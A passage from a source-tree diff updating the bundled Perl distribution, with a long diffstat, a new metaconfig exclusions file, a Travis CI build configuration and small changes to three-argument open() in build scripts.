-rw-r--r--gnu/usr.bin/perl/dist/if/MANIFEST8
-rw-r--r--gnu/usr.bin/perl/dist/if/META.json43
-rw-r--r--gnu/usr.bin/perl/dist/if/META.yml23
-rw-r--r--gnu/usr.bin/perl/dist/lib/lib_pm.PL4
-rw-r--r--gnu/usr.bin/perl/dist/threads/t/kill3.t121
-rwxr-xr-xgnu/usr.bin/perl/dist/threads/t/problems.t52
-rw-r--r--gnu/usr.bin/perl/dist/threads/t/unique.t81
-rw-r--r--gnu/usr.bin/perl/djgpp/djgpp.c42
-rw-r--r--gnu/usr.bin/perl/djgpp/fixpmain6
-rw-r--r--gnu/usr.bin/perl/dquote.c61
-rw-r--r--gnu/usr.bin/perl/dquote_inline.h6
-rw-r--r--gnu/usr.bin/perl/ebcdic_tables.h6
-rw-r--r--gnu/usr.bin/perl/ext/B/B/Terse.pm8
-rw-r--r--gnu/usr.bin/perl/ext/B/B/Xref.pm14
-rw-r--r--gnu/usr.bin/perl/ext/B/O.pm28
-rw-r--r--gnu/usr.bin/perl/ext/B/t/f_sort4
-rw-r--r--gnu/usr.bin/perl/ext/B/t/optree_constants.t182
-rw-r--r--gnu/usr.bin/perl/ext/B/t/strict.t30
-rw-r--r--gnu/usr.bin/perl/ext/B/t/terse.t8
-rw-r--r--gnu/usr.bin/perl/ext/B/t/walkoptree.t6
-rw-r--r--gnu/usr.bin/perl/ext/B/t/xref.t2
-rw-r--r--gnu/usr.bin/perl/ext/Fcntl/t/fcntl.t2
-rw-r--r--gnu/usr.bin/perl/ext/Fcntl/t/syslfs.t7
-rwxr-xr-xgnu/usr.bin/perl/ext/File-Glob/t/basic.t4
-rw-r--r--gnu/usr.bin/perl/ext/File-Glob/t/rt131211.t112
-rw-r--r--gnu/usr.bin/perl/ext/FileCache/lib/FileCache.pm6
-rwxr-xr-xgnu/usr.bin/perl/ext/FileCache/t/01open.t2
-rwxr-xr-xgnu/usr.bin/perl/ext/FileCache/t/02maxopen.t4
-rwxr-xr-xgnu/usr.bin/perl/ext/FileCache/t/03append.t2
-rwxr-xr-xgnu/usr.bin/perl/ext/FileCache/t/06export.t2
-rw-r--r--gnu/usr.bin/perl/ext/GDBM_File/GDBM_File.xs33
-rw-r--r--gnu/usr.bin/perl/ext/GDBM_File/t/fatal.t2
-rwxr-xr-xgnu/usr.bin/perl/ext/Hash-Util-FieldHash/t/12_hashwarn.t3
-rw-r--r--gnu/usr.bin/perl/ext/Hash-Util/t/builtin.t40
-rwxr-xr-xgnu/usr.bin/perl/ext/I18N-Langinfo/t/Langinfo.t171
-rw-r--r--gnu/usr.bin/perl/ext/IPC-Open3/t/fd.t2
-rw-r--r--gnu/usr.bin/perl/ext/POSIX/t/sysconf.t2
-rw-r--r--gnu/usr.bin/perl/ext/POSIX/t/unimplemented.t6
-rw-r--r--gnu/usr.bin/perl/ext/POSIX/t/usage.t10
-rw-r--r--gnu/usr.bin/perl/ext/PerlIO-via/t/thread.t73
-rwxr-xr-xgnu/usr.bin/perl/ext/PerlIO-via/t/via.t60
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/anchorify.t24
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/feature.t2
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/feature2.t2
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmldir1.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmldir2.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmldir3.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmldir4.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmldir5.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmlescp.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/htmllink.t4
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/poderr.t2
-rw-r--r--gnu/usr.bin/perl/ext/Pod-Html/t/podnoerr.t2
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/dbe.c8
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/dbu.c5
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/hash.c34
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/pair.c309
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/pair.h18
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/sdbm.c22
-rw-r--r--gnu/usr.bin/perl/ext/SDBM_File/sdbm.h131
-rwxr-xr-xgnu/usr.bin/perl/ext/Sys-Hostname/t/Hostname.t32
-rw-r--r--gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.pm2
-rw-r--r--gnu/usr.bin/perl/ext/Tie-Hash-NamedCapture/NamedCapture.xs30
-rw-r--r--gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.pm49
-rw-r--r--gnu/usr.bin/perl/ext/VMS-Stdio/Stdio.xs5
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/APItest_BS7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/autoload.t10
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/blockhooks.t3
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/bootstrap.t17
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/get.t22
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmeth.t14
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/gv_fetchmethod_flags.t5
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy00.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy01.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy02.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy03.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy04.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy05.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy06.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy07.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy08.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy09.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/handy_base.pl624
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/keyword_plugin_threads.t32
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/labelconst.t4
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/lexsub.t13
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/load-module.t66
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/locale.t118
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/loopblock.t2
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/looprest.t2
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/sviscow.t2
-rwxr-xr-xgnu/usr.bin/perl/ext/XS-APItest/t/utf16_to_utf8.t3
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_setup.pl112
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_to_bytes.t68
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn00.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn01.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn02.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn03.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn04.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn05.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn06.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn07.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn08.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn09.t7
-rw-r--r--gnu/usr.bin/perl/ext/XS-APItest/t/utf8_warn_base.pl1880
-rw-r--r--gnu/usr.bin/perl/ext/arybase/t/scope.t1
-rw-r--r--gnu/usr.bin/perl/h2pl/cbreak.pl2
-rw-r--r--gnu/usr.bin/perl/h2pl/cbreak2.pl2
-rw-r--r--gnu/usr.bin/perl/h2pl/mksizes2
-rw-r--r--gnu/usr.bin/perl/h2pl/mkvars2
-rw-r--r--gnu/usr.bin/perl/hints/gnu.sh71
-rw-r--r--gnu/usr.bin/perl/hints/svr5.sh6
-rw-r--r--gnu/usr.bin/perl/hv_macro.h81
-rw-r--r--gnu/usr.bin/perl/invlist_inline.h2
-rw-r--r--gnu/usr.bin/perl/lib/CORE.pod6
-rw-r--r--gnu/usr.bin/perl/lib/Config/Extensions.pm4
-rw-r--r--gnu/usr.bin/perl/lib/DBM_Filter/t/01error.t2
-rw-r--r--gnu/usr.bin/perl/lib/DBM_Filter/t/02core.t2
-rw-r--r--gnu/usr.bin/perl/lib/DirHandle.pm25
-rw-r--r--gnu/usr.bin/perl/lib/DirHandle.t104
-rw-r--r--gnu/usr.bin/perl/lib/English.t6
-rw-r--r--gnu/usr.bin/perl/lib/ExtUtils/XSSymSet.pm3
-rw-r--r--gnu/usr.bin/perl/lib/File/Compare.t2
-rw-r--r--gnu/usr.bin/perl/lib/Internals.pod78
-rw-r--r--gnu/usr.bin/perl/lib/PerlIO.pm4
-rw-r--r--gnu/usr.bin/perl/lib/SelectSaver.t4
-rw-r--r--gnu/usr.bin/perl/lib/Tie/Array.pm5
-rw-r--r--gnu/usr.bin/perl/lib/Tie/Array/splice.t2
-rw-r--r--gnu/usr.bin/perl/lib/Tie/Handle/stdhandle.t2
-rw-r--r--gnu/usr.bin/perl/lib/Tie/Scalar.t5
-rw-r--r--gnu/usr.bin/perl/lib/Tie/StdHandle.pm5
-rw-r--r--gnu/usr.bin/perl/lib/locale_threads.t119
-rw-r--r--gnu/usr.bin/perl/lib/open.pm12
-rw-r--r--gnu/usr.bin/perl/lib/perl5db/t/rt-1201744
-rw-r--r--gnu/usr.bin/perl/lib/perlbug.t165
-rw-r--r--gnu/usr.bin/perl/lib/sort.pm76
-rw-r--r--gnu/usr.bin/perl/lib/unicore/IndicPositionalCategory.txt103
-rw-r--r--gnu/usr.bin/perl/lib/unicore/VerticalOrientation.txt2199
-rw-r--r--gnu/usr.bin/perl/lib/unicore/auxiliary/LBTest.txt7519
-rw-r--r--gnu/usr.bin/perl/lib/unicore/auxiliary/SBTest.txt725
-rw-r--r--gnu/usr.bin/perl/lib/unicore/auxiliary/WBTest.txt852
-rw-r--r--gnu/usr.bin/perl/lib/vmsish.t6
-rw-r--r--gnu/usr.bin/perl/lib/warnings.t2
-rw-r--r--gnu/usr.bin/perl/malloc_ctl.h4
-rw-r--r--gnu/usr.bin/perl/mg_names.inc1
-rw-r--r--gnu/usr.bin/perl/mro_core.c26
-rw-r--r--gnu/usr.bin/perl/os2/OS2/OS2-REXX/DLL/DLL.xs2
-rw-r--r--gnu/usr.bin/perl/os2/perlrexx.c12
-rw-r--r--gnu/usr.bin/perl/perl_inc_macro.h193
-rw-r--r--gnu/usr.bin/perl/perl_langinfo.h190
-rw-r--r--gnu/usr.bin/perl/pod/perl5004delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perl5005delta.pod4
-rw-r--r--gnu/usr.bin/perl/pod/perl5100delta.pod4
-rw-r--r--gnu/usr.bin/perl/pod/perl5101delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perl5120delta.pod6
-rw-r--r--gnu/usr.bin/perl/pod/perl5140delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perl5180delta.pod4
-rw-r--r--gnu/usr.bin/perl/pod/perl5181delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perl5184delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perl5240delta.pod93
-rw-r--r--gnu/usr.bin/perl/pod/perl5243delta.pod335
-rw-r--r--gnu/usr.bin/perl/pod/perl5244delta.pod130
-rw-r--r--gnu/usr.bin/perl/pod/perl5260delta.pod3334
-rw-r--r--gnu/usr.bin/perl/pod/perl5261delta.pod247
-rw-r--r--gnu/usr.bin/perl/pod/perl5262delta.pod245
-rw-r--r--gnu/usr.bin/perl/pod/perl5280delta.pod2438
-rw-r--r--gnu/usr.bin/perl/pod/perl561delta.pod8
-rw-r--r--gnu/usr.bin/perl/pod/perl56delta.pod8
-rw-r--r--gnu/usr.bin/perl/pod/perl581delta.pod4
-rw-r--r--gnu/usr.bin/perl/pod/perl588delta.pod6
-rw-r--r--gnu/usr.bin/perl/pod/perl589delta.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perlartistic.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perldeprecation.pod540
-rw-r--r--gnu/usr.bin/perl/pod/perlhacktut.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perlinterp.pod96
-rw-r--r--gnu/usr.bin/perl/pod/perlnumber.pod2
-rw-r--r--gnu/usr.bin/perl/pod/perlreguts.pod2
-rw-r--r--gnu/usr.bin/perl/pod/splitman2
-rw-r--r--gnu/usr.bin/perl/reentr.h11
-rw-r--r--gnu/usr.bin/perl/regen.pl2
-rw-r--r--gnu/usr.bin/perl/regen/ebcdic.pl13
-rw-r--r--gnu/usr.bin/perl/regen/miniperlmain.pl2
-rw-r--r--gnu/usr.bin/perl/regen/mph.pl491
-rw-r--r--gnu/usr.bin/perl/regen/op_private134
-rw-r--r--gnu/usr.bin/perl/regen/uconfig_h.pl2
-rw-r--r--gnu/usr.bin/perl/sbox32_hash.h1783
-rw-r--r--gnu/usr.bin/perl/stadtx_hash.h335
-rw-r--r--gnu/usr.bin/perl/symbian/demo_pl2
-rw-r--r--gnu/usr.bin/perl/symbian/hexdump.pl2
-rw-r--r--gnu/usr.bin/perl/symbian/install.cfg2
-rw-r--r--gnu/usr.bin/perl/symbian/makesis.pl6
-rw-r--r--gnu/usr.bin/perl/symbian/sisify.pl12
-rw-r--r--gnu/usr.bin/perl/symbian/symbian_stubs.c4
-rw-r--r--gnu/usr.bin/perl/symbian/version.pl2
-rw-r--r--gnu/usr.bin/perl/symbian/xsbuild.pl28
-rw-r--r--gnu/usr.bin/perl/t/base/num.t6
-rw-r--r--gnu/usr.bin/perl/t/base/translate.t5
-rw-r--r--gnu/usr.bin/perl/t/bigmem/hash.t33
-rw-r--r--gnu/usr.bin/perl/t/charset_tools.pl34
-rw-r--r--gnu/usr.bin/perl/t/comp/bproto.t6
-rw-r--r--gnu/usr.bin/perl/t/comp/filter_exception.t32
-rwxr-xr-xgnu/usr.bin/perl/t/comp/line_debug.t2
-rw-r--r--gnu/usr.bin/perl/t/comp/parser_run.t59
-rw-r--r--gnu/usr.bin/perl/t/io/binmode.t2
-rw-r--r--gnu/usr.bin/perl/t/io/closepid.t4
-rw-r--r--gnu/usr.bin/perl/t/io/data.t4
-rw-r--r--gnu/usr.bin/perl/t/io/eintr_print.t4
-rw-r--r--gnu/usr.bin/perl/t/io/fflush.t2
-rw-r--r--gnu/usr.bin/perl/t/io/iofile.t2
-rw-r--r--gnu/usr.bin/perl/t/io/layers.t4
-rw-r--r--gnu/usr.bin/perl/t/io/nargv.t26
-rw-r--r--gnu/usr.bin/perl/t/io/openpid.t36
-rwxr-xr-xgnu/usr.bin/perl/t/io/perlio_fail.t5
-rwxr-xr-xgnu/usr.bin/perl/t/io/perlio_leaks.t2
-rwxr-xr-xgnu/usr.bin/perl/t/io/perlio_open.t2
-rwxr-xr-xgnu/usr.bin/perl/t/io/pvbm.t2
-rw-r--r--gnu/usr.bin/perl/t/io/say.t2
-rw-r--r--gnu/usr.bin/perl/t/io/sem.t2
-rw-r--r--gnu/usr.bin/perl/t/io/shm.t8
-rw-r--r--gnu/usr.bin/perl/t/io/socketpair.t51
-rw-r--r--gnu/usr.bin/perl/t/lib/croak/mg7
-rw-r--r--gnu/usr.bin/perl/t/lib/croak/pp_ctl37
-rw-r--r--gnu/usr.bin/perl/t/lib/croak/pp_sys59
-rw-r--r--gnu/usr.bin/perl/t/lib/croak/regcomp65
-rw-r--r--gnu/usr.bin/perl/t/lib/croak/toke_l122
-rw-r--r--gnu/usr.bin/perl/t/lib/dbmt_common.pl7
-rwxr-xr-xgnu/usr.bin/perl/t/lib/overload_fallback.t32
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/2use10
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/9enabled179
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/gv57
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/pad42
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/perl14
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/pp_ctl13
-rw-r--r--gnu/usr.bin/perl/t/lib/warnings/pp_pack26
-rwxr-xr-xgnu/usr.bin/perl/t/mro/isa_c3.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/isa_c3_utf8.t2
-rwxr-xr-xgnu/usr.bin/perl/t/mro/isa_dfs.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/isa_dfs_utf8.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/isarev_utf8.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/next_inanon.t18
-rw-r--r--gnu/usr.bin/perl/t/mro/next_ineval.t16
-rw-r--r--gnu/usr.bin/perl/t/mro/overload_c3.t5
-rw-r--r--gnu/usr.bin/perl/t/mro/overload_c3_utf8.t5
-rw-r--r--gnu/usr.bin/perl/t/mro/overload_dfs.t5
-rwxr-xr-xgnu/usr.bin/perl/t/mro/package_aliases.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/package_aliases_utf8.t2
-rw-r--r--gnu/usr.bin/perl/t/mro/recursion_c3_utf8.t5
-rw-r--r--gnu/usr.bin/perl/t/mro/recursion_dfs_utf8.t5
-rw-r--r--gnu/usr.bin/perl/t/op/aassign.t217
-rw-r--r--gnu/usr.bin/perl/t/op/anonconst.t2
-rw-r--r--gnu/usr.bin/perl/t/op/attrhand.t2
-rw-r--r--gnu/usr.bin/perl/t/op/bless.t60
-rw-r--r--gnu/usr.bin/perl/t/op/catch.t50
-rw-r--r--gnu/usr.bin/perl/t/op/const-optree.t5
-rw-r--r--gnu/usr.bin/perl/t/op/decl-refs.t122
-rw-r--r--gnu/usr.bin/perl/t/op/die_exit.t2
-rw-r--r--gnu/usr.bin/perl/t/op/dump.t12
-rw-r--r--gnu/usr.bin/perl/t/op/exists_sub.t2
-rwxr-xr-xgnu/usr.bin/perl/t/op/filehandle.t2
-rw-r--r--gnu/usr.bin/perl/t/op/filetest_stack_ok.t10
-rwxr-xr-xgnu/usr.bin/perl/t/op/filetest_t.t2
-rw-r--r--gnu/usr.bin/perl/t/op/fresh_perl_utf8.t2
-rw-r--r--gnu/usr.bin/perl/t/op/getpid.t8
-rw-r--r--gnu/usr.bin/perl/t/op/grent.t2
-rw-r--r--gnu/usr.bin/perl/t/op/hashassign.t25
-rw-r--r--gnu/usr.bin/perl/t/op/infnan.t41
-rw-r--r--gnu/usr.bin/perl/t/op/kill0.t2
-rw-r--r--gnu/usr.bin/perl/t/op/lfs.t4
-rw-r--r--gnu/usr.bin/perl/t/op/lock.t2
-rw-r--r--gnu/usr.bin/perl/t/op/lop.t29
-rw-r--r--gnu/usr.bin/perl/t/op/lvref.t15
-rw-r--r--gnu/usr.bin/perl/t/op/multideref.t30
-rwxr-xr-xgnu/usr.bin/perl/t/op/not.t2
-rw-r--r--gnu/usr.bin/perl/t/op/numconvert.t5
-rw-r--r--gnu/usr.bin/perl/t/op/or.t4
-rw-r--r--gnu/usr.bin/perl/t/op/pos.t34
-rw-r--r--gnu/usr.bin/perl/t/op/pow.t2
-rwxr-xr-xgnu/usr.bin/perl/t/op/setpgrpstack.t2
-rw-r--r--gnu/usr.bin/perl/t/op/stash_parse_gv.t31
-rw-r--r--gnu/usr.bin/perl/t/op/stat_errors.t58
-rw-r--r--gnu/usr.bin/perl/t/op/studytied.t2
-rw-r--r--gnu/usr.bin/perl/t/op/tiearray.t462
-rw-r--r--gnu/usr.bin/perl/t/op/waitpid.t2
-rwxr-xr-xgnu/usr.bin/perl/t/op/yadayada.t23
-rw-r--r--gnu/usr.bin/perl/t/perf/benchmarks1370
-rw-r--r--gnu/usr.bin/perl/t/perf/benchmarks.t24
-rw-r--r--gnu/usr.bin/perl/t/perf/opcount.t405
-rw-r--r--gnu/usr.bin/perl/t/perf/optree.t283
-rw-r--r--gnu/usr.bin/perl/t/porting/authors.t24
-rw-r--r--gnu/usr.bin/perl/t/porting/bench.t856
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/badhash15
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/badname14
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/badversion.json1
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/callsub.json1
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/callsub2.json1
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/oddentry10
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/ret06
-rw-r--r--gnu/usr.bin/perl/t/porting/bench/synerr6
-rw-r--r--gnu/usr.bin/perl/t/porting/bench_selftest.t10
-rw-r--r--gnu/usr.bin/perl/t/porting/copyright.t4
-rw-r--r--gnu/usr.bin/perl/t/porting/corelist.t5
-rw-r--r--gnu/usr.bin/perl/t/porting/extrefs.t5
-rw-r--r--gnu/usr.bin/perl/t/porting/libperl.t36
-rw-r--r--gnu/usr.bin/perl/t/porting/pending-author.t16
-rwxr-xr-xgnu/usr.bin/perl/t/porting/test_bootstrap.t15
-rw-r--r--gnu/usr.bin/perl/t/re/alpha_assertions.t18
-rw-r--r--gnu/usr.bin/perl/t/re/anyof.t370
-rw-r--r--gnu/usr.bin/perl/t/re/keep_tabs.t29
-rw-r--r--gnu/usr.bin/perl/t/re/no_utf8_pm.t2
-rwxr-xr-xgnu/usr.bin/perl/t/re/pat_psycho.t6
-rwxr-xr-xgnu/usr.bin/perl/t/re/qr_gc.t2
-rwxr-xr-xgnu/usr.bin/perl/t/re/qrstack.t2
-rwxr-xr-xgnu/usr.bin/perl/t/re/reg_60508.t2
-rwxr-xr-xgnu/usr.bin/perl/t/re/reg_nc_tie.t2
-rw-r--r--gnu/usr.bin/perl/t/re/reg_nocapture.t2
-rwxr-xr-xgnu/usr.bin/perl/t/re/reg_pmod.t2
-rw-r--r--gnu/usr.bin/perl/t/re/regexp_nonull.t17
-rw-r--r--gnu/usr.bin/perl/t/re/script_run.t100
-rwxr-xr-xgnu/usr.bin/perl/t/re/subst_amp.t2
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops01.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops02.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops03.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops04.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops05.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops06.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops07.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops08.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops09.t40
-rw-r--r--gnu/usr.bin/perl/t/re/uniprops10.t40
-rw-r--r--gnu/usr.bin/perl/t/run/switchDx.t4
-rw-r--r--gnu/usr.bin/perl/t/uni/bless.t2
-rw-r--r--gnu/usr.bin/perl/t/uni/caller.t8
-rw-r--r--gnu/usr.bin/perl/t/uni/select.t2
-rw-r--r--gnu/usr.bin/perl/time64_config.h6
-rw-r--r--gnu/usr.bin/perl/uni_keywords.h6762
-rw-r--r--gnu/usr.bin/perl/utils/corelist.PL4
-rw-r--r--gnu/usr.bin/perl/utils/cpan.PL4
-rw-r--r--gnu/usr.bin/perl/utils/encguess.PL4
-rw-r--r--gnu/usr.bin/perl/utils/instmodsh.PL4
-rw-r--r--gnu/usr.bin/perl/utils/json_pp.PL4
-rw-r--r--gnu/usr.bin/perl/utils/piconv.PL4
-rw-r--r--gnu/usr.bin/perl/utils/pod2html.PL2
-rw-r--r--gnu/usr.bin/perl/utils/prove.PL4
-rw-r--r--gnu/usr.bin/perl/utils/ptar.PL4
-rw-r--r--gnu/usr.bin/perl/utils/ptardiff.PL4
-rw-r--r--gnu/usr.bin/perl/utils/ptargrep.PL4
-rw-r--r--gnu/usr.bin/perl/utils/shasum.PL4
-rw-r--r--gnu/usr.bin/perl/utils/xsubpp.PL4
-rw-r--r--gnu/usr.bin/perl/utils/zipdetails.PL4
-rw-r--r--gnu/usr.bin/perl/vms/mms2make.pl4
-rw-r--r--gnu/usr.bin/perl/vms/munchconfig.c2
-rw-r--r--gnu/usr.bin/perl/win32/bin/exetype.pl2
-rw-r--r--gnu/usr.bin/perl/win32/ce-helpers/makedist.pl7
-rw-r--r--gnu/usr.bin/perl/win32/list_static_libs.pl6
-rw-r--r--gnu/usr.bin/perl/zaphod32_hash.h322
1671 files changed, 129077 insertions, 13393 deletions
diff --git a/gnu/usr.bin/perl/.metaconf-exclusions.txt b/gnu/usr.bin/perl/.metaconf-exclusions.txt
new file mode 100644
index 00000000000..ce9e3d56586
--- /dev/null
+++ b/gnu/usr.bin/perl/.metaconf-exclusions.txt
@@ -0,0 +1,26 @@
+# This file is used when building the Configure script from the metaconfig
+# units. Ordinarily, if any *.c or *.h or *.sh file mentions a symbol that can
+# be provided by a metaconfig unit, the generated Configure will include the
+# relevant probe. But in some cases, that's inappropriate: we have symbols that
+# we no longer need to probe for, but must define in perl.h for backwards
+# compatibilty with XS modules. Also, our C files contain tokens like "index"
+# that are used as the names of Perl builtins, but would be treated by
+# metaconfig as implicit requests for a particular unit that we don't need.
+#
+# Previously, we've used customised "stub" versions of metaconfig units to
+# handle this situation, but that doesn't scale (and, in particular, requires
+# us to maintain those customised units for as long as the relevant symbols are
+# defined by the units in the upstream dist package).
+#
+# A better approach is to list those symbols here (and invoke metaconfig with
+# the "-X .metaconf-exclusions.txt" option when generating Configure); that
+# will prevent the relevant units from being used.
+#
+# See also metaconfig.h, which works in the other direction — it forces units
+# to be included, even before specific code using the relevant symbols has been
+# written.
+
+I_LIMITS
+I_STDARG
+index
+rindex
diff --git a/gnu/usr.bin/perl/.travis.yml b/gnu/usr.bin/perl/.travis.yml
new file mode 100644
index 00000000000..cd235e74daa
--- /dev/null
+++ b/gnu/usr.bin/perl/.travis.yml
@@ -0,0 +1,70 @@
+language: c
+cache: ccache
+
+os:
+ - linux
+ - osx
+
+compiler:
+ - gcc
+ - clang
+
+install:
+ - git fetch --unshallow --tags # t/porting/cmp_version.t
+ # install & enable ccache on osx
+ - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then brew update && brew install ccache; fi
+ - if [[ "$TRAVIS_OS_NAME" == "osx" ]]; then export PATH="/usr/local/opt/ccache/libexec:$PATH"; fi
+
+env:
+ global:
+ - JOBS=4
+ matrix:
+ - CONFIGURE_ARGS='-Uusethreads'
+ - CONFIGURE_ARGS='-Dusethreads'
+
+# only use gcc on linux, and only use clang on osx for now
+matrix:
+ exclude:
+ - compiler: clang
+ os: linux
+ - compiler: gcc
+ os: osx
+
+script:
+ - ./Configure -des -Dusedevel -Uversiononly -Dcc="ccache $CC" $CONFIGURE_ARGS -Dprefix=$HOME/perl-blead -DDEBUGGING
+# all script commands are always run
+# rather than using one very long oneliner using '&&', just always check the build status
+ - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then TEST_JOBS=$JOBS make -j$JOBS test_harness_notty; fi
+ - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then make -j$JOBS install; fi
+ - if [ "x$TRAVIS_TEST_RESULT" = "x0" ]; then $HOME/perl-blead/bin/perlivp; fi
+
+addons:
+ apt:
+ packages:
+ - file
+ - cpio
+ - libdb-dev
+ - libgdbm-dev
+ - zlib1g-dev
+ - libbz2-dev
+
+notifications:
+## use dedicated email for smoking ?
+# email:
+# recipients:
+# - perl5-porters@perl.org
+# on_success: never # default: change
+# on_failure: always # default: always
+ irc:
+ nick: travisci
+ channels:
+ - "irc.perl.org#p5p-qa"
+# - "irc.perl.org#bot-test"
+ template:
+ - "Report for %{repository} (%{commit}) from %{author} (%{elapsed_time})"
+ - "Status: %{message}"
+ - "Build URL: %{build_url}"
+ - "GitHub URL: https://github.com/p5h/perl5demo/commit/%{commit}" # adjust this url to use the production repo
+ on_success: change # default: always
+ on_failure: always # default: always
+# use_notice: true \ No newline at end of file
diff --git a/gnu/usr.bin/perl/Cross/generate_config_sh b/gnu/usr.bin/perl/Cross/generate_config_sh
index e47042a25ff..203885e9819 100644
--- a/gnu/usr.bin/perl/Cross/generate_config_sh
+++ b/gnu/usr.bin/perl/Cross/generate_config_sh
@@ -44,7 +44,7 @@ if ($config eq "") {
die("Please run me as generate_config_sh path/to/original/config.sh");
}
-open(FILE, "$config") || die("Unable to open $config");
+open(FILE, '<', $config) || die("Unable to open $config");
my $line_in;
while ($line_in = <FILE>) {
diff --git a/gnu/usr.bin/perl/NetWare/config_h.PL b/gnu/usr.bin/perl/NetWare/config_h.PL
index d0eb05a30f0..67d5bc3f0b4 100644
--- a/gnu/usr.bin/perl/NetWare/config_h.PL
+++ b/gnu/usr.bin/perl/NetWare/config_h.PL
@@ -19,7 +19,7 @@ $patchlevel =~ s|~VERSION~|$Config{version}|g;
$patchlevel ||= $Config{version};
